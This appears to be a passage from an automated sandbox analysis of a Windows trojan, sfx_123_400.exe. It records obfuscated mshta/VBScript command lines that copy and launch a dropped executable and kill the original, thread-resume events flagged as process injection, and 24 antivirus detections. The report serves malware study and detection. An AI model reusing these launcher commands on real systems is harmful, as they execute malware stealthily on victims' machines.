cmdline	mShta vBSCriPT: cloSE ( createOBjEcT ("WScRIPt.ShElL" ).RUN( "CMd.ExE /q/c cOPY /y ""C:\Users\test22\AppData\Local\Temp\sfx_123_400.exe"" PnN9X7~.exe >NUl && stArT PnN9X7~.exe /p9CkDrncOIjEyCJoKJOSPrvHhMc & IF """" == """" for %r in ( ""C:\Users\test22\AppData\Local\Temp\sfx_123_400.exe"" ) do taskkill -Im ""%~nxr"" -F > NUl " , 0) )
cmdline	"C:\Windows\System32\mshta.exe" vBSCriPT: cloSE ( createOBjEcT ("WScRIPt.ShElL" ).RUN( "CMd.ExE /q/c cOPY /y ""C:\Users\test22\AppData\Local\Temp\PnN9X7~.exe"" PnN9X7~.exe >NUl && stArT PnN9X7~.exe /p9CkDrncOIjEyCJoKJOSPrvHhMc & IF ""/p9CkDrncOIjEyCJoKJOSPrvHhMc "" == """" for %r in ( ""C:\Users\test22\AppData\Local\Temp\PnN9X7~.exe"" ) do taskkill -Im ""%~nxr"" -F > NUl " , 0) )
cmdline	mShta vBSCriPT: cloSE ( createOBjEcT ("WScRIPt.ShElL" ).RUN( "CMd.ExE /q/c cOPY /y ""C:\Users\test22\AppData\Local\Temp\PnN9X7~.exe"" PnN9X7~.exe >NUl && stArT PnN9X7~.exe /p9CkDrncOIjEyCJoKJOSPrvHhMc & IF ""/p9CkDrncOIjEyCJoKJOSPrvHhMc "" == """" for %r in ( ""C:\Users\test22\AppData\Local\Temp\PnN9X7~.exe"" ) do taskkill -Im ""%~nxr"" -F > NUl " , 0) )
cmdline	"C:\Windows\System32\mshta.exe" vBSCriPT: cloSE ( createOBjEcT ("WScRIPt.ShElL" ).RUN( "CMd.ExE /q/c cOPY /y ""C:\Users\test22\AppData\Local\Temp\sfx_123_400.exe"" PnN9X7~.exe >NUl && stArT PnN9X7~.exe /p9CkDrncOIjEyCJoKJOSPrvHhMc & IF """" == """" for %r in ( ""C:\Users\test22\AppData\Local\Temp\sfx_123_400.exe"" ) do taskkill -Im ""%~nxr"" -F > NUl " , 0) )
cmdline	CMd.ExE /q/c cOPY /y "C:\Users\test22\AppData\Local\Temp\sfx_123_400.exe" PnN9X7~.exe >NUl && stArT PnN9X7~.exe /p9CkDrncOIjEyCJoKJOSPrvHhMc &IF ""=="" for %r in ("C:\Users\test22\AppData\Local\Temp\sfx_123_400.exe" ) do taskkill -Im "%~nxr" -F > NUl

Resumed a suspended thread in a remote process potentially indicative of process injection (6 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2216 resumed a thread in remote process 1756
Process injection	Process 1460 resumed a thread in remote process 2932
Process injection	Process 2932 resumed a thread in remote process 1276
NtResumeThread April 5, 2021, 1:20 p.m.	thread_handle: 0x000002c8 suspend_count: 1 process_identifier: 1756	1	0	0
NtResumeThread April 5, 2021, 1:20 p.m.	thread_handle: 0x000000f4 suspend_count: 0 process_identifier: 2932	1	0	0
NtResumeThread April 5, 2021, 1:20 p.m.	thread_handle: 0x000002d4 suspend_count: 1 process_identifier: 1276	1	0	0

File has been identified by 24 AntiVirus engines on VirusTotal as malicious (24 events)

Bkav	W32.AIDetect.malware2
DrWeb	Trojan.MulDrop16.39985
McAfee	Artemis!BEADF9B68DE9
Cylance	Unsafe
Alibaba	Trojan:Win32/Chapak.ae56df6c
K7GW	Riskware ( 0040eff71 )
Cybereason	malicious.ac2e7a
Symantec	Trojan.Gen.2
APEX	Malicious
Avast	Win32:Malware-gen
Kaspersky	Trojan.Win32.Chapak.ezim
Paloalto	generic.ml
Sophos	ML/PE-A
VIPRE	Trojan.Win32.Generic!BT
McAfee-GW-Edition	BehavesLike.Win32.Coinminer.tc
Kingsoft	Win32.Troj.Chapak.ez.(kcloud)
Gridinsoft	Trojan.Win32.Agent.vb
Microsoft	Trojan:Win32/Wacatac.B!ml
AegisLab	Trojan.Win32.Chapak.4!c
Cynet	Malicious (score: 100)
Zoner	Probably Heur.RARAutorun
Fortinet	W32/Chapak.EZIM!tr
AVG	Win32:Malware-gen
Qihoo-360	Win32/Trojan.Chapak.HwYDVgsA

sfx_123_400.exe

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